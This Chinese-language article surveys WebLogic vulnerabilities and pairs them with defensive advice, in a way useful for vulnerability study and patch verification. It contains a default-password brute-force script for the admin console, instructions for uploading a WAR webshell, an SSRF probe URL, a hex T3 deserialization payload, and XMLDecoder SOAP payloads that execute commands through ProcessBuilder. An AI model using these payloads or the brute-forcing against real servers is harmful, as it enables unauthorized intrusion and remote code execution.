Weblogic漏洞——从入门到放弃
字数 1889 2025-08-18 11:38:08
WebLogic漏洞分析与利用指南
1. WebLogic简介
WebLogic是Oracle公司开发的企业级Java应用服务器,广泛应用于大型企业系统中。由于其复杂性和广泛使用,WebLogic也成为安全研究人员关注的重点目标。
主要版本
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.1
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
2. WebLogic常见漏洞分类
2.1 控制台路径泄露与弱口令
相关模块: Weakpassword
漏洞描述:
WebLogic控制台默认路径暴露,结合弱口令可导致未授权访问。
检测方法:
def weakPasswd(self):
"""weak password"""
pwddict = ['WebLogic','weblogic','Oracle@123','password','system','Administrator','admin','security','joe','wlcsystem','wlpisystem']
for user in pwddict:
for pwd in pwddict:
data = {'j_username':user,'j_password':pwd,'j_character_encoding':'UTF-8'}
req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
print('[+] WebLogic username: '+user+' password: '+pwd)
利用方法:
- 通过控制台上传WAR包形式的Webshell
- 使用jar命令打包:
jar cvf ma.war ma/* - 在控制台进行远程部署
修复建议:
- 修改默认控制台路径
- 使用强密码策略
- 限制控制台访问IP
2.2 SSRF漏洞(CVE-2014-4210)
涉及版本:
- Version: 10.0.2, 10.3.6
检测方法:
def ssrf(self):
payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"
req = requests.get(self.url+payload, timeout=10, verify=False)
if "weblogic.uddi.client.structures.exception.XML_SoapException" in req.text and "IO Exception on sendMessage" not in req.text:
print("[+] WebLogic ssrf")
利用场景:
- 内网探测
- 端口扫描
- 攻击内网服务
2.3 Java反序列化漏洞
2.3.1 CVE-2015-4852
描述: 基于Weblogic t3协议的反序列化漏洞
2.3.2 CVE-2016-0638
描述: CVE-2015-4852的绕过,Oracle黑名单修复方式的缺陷
2.3.3 CVE-2016-3510
描述: 基于Weblogic t3协议的反序列化漏洞
2.3.4 CVE-2017-3248
描述: Weblogic JRMP反序列化漏洞
2.3.5 CVE-2018-2628
描述: 基于Weblogic t3协议的JRMP反序列化漏洞
2.3.6 CVE-2018-2893
描述: CVE-2018-2628的绕过,Oracle黑名单修复方式的缺陷
检测方法:
这些漏洞大多基于T3协议,检测时通常使用TCP套接字实现而非针对具体路径。例如CVE-2018-2893的检测:
VUL=['CVE-2018-2893']
PAYLOAD=['ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000001251E200000000000000100000118ACED0005737D00000001001A6A6176612E726D692E72656769737472792E5265676973747279787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707732000A556E696361737452656600093132372E302E302E310000F1440000000046911FD80000000000000000000000000000007878']
VER_SIG=['StreamMessageImpl']
2.4 任意文件上传(CVE-2018-2894)
涉及版本:
- version:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
漏洞描述:
WebLogic管理控制台存在未授权文件上传漏洞,CNCERT危害程度评分高达9.8分。
2.5 XMLDecoder反序列化漏洞
2.5.1 CVE-2017-3506
2.5.2 CVE-2017-10271
涉及版本:
- version:10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2
相关路径:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
检测方法:
- 选择上述任意路径
- 设置Content-Type为text/xml
- POST方式发送payload
POC示例:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>calc</string>
</void>
<void index="1">
<string></string>
</void>
<void index="2">
<string></string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
远程验证POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>whoami</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
验证正则:
\<faultstring\>.*\<\/faultstring\>
3. 自动化检测工具Weblogic++
项目地址: https://github.com/rabbitmask/WeblogicR
功能:
- 一键POC检测
- 收录几乎所有WebLogic历史漏洞
- 模块化设计,易于扩展
检测模块:
- 控制台路径泄露(Weakpassword)
- SSRF(CVE-2014-4210)
- JAVA反序列化:
- CVE-2015-4852
- CVE-2016-0638
- CVE-2016-3510
- CVE-2017-3248
- CVE-2018-2628
- CVE-2018-2893
- 任意文件上传(CVE-2018-2894)
- XMLDecoder反序列化:
- CVE-2017-10271
- CVE-2017-3506
4. 防御建议
- 及时更新补丁: Oracle定期发布安全补丁,应及时应用
- 禁用T3协议: 如果不需要,可以禁用T3协议
- 访问控制: 限制管理控制台的访问IP
- 安全配置:
- 修改默认路径
- 使用强密码策略
- 禁用不必要的组件和服务
- 监控与日志: 加强日志监控,及时发现异常行为
5. 总结
WebLogic作为企业级应用服务器,其安全性至关重要。本文详细分析了WebLogic的各类漏洞,包括控制台弱口令、SSRF、Java反序列化、任意文件上传和XMLDecoder反序列化等,并提供了检测方法和防御建议。安全研究人员可以使用Weblogic++等工具进行自动化检测,但应注意仅在授权范围内使用这些技术。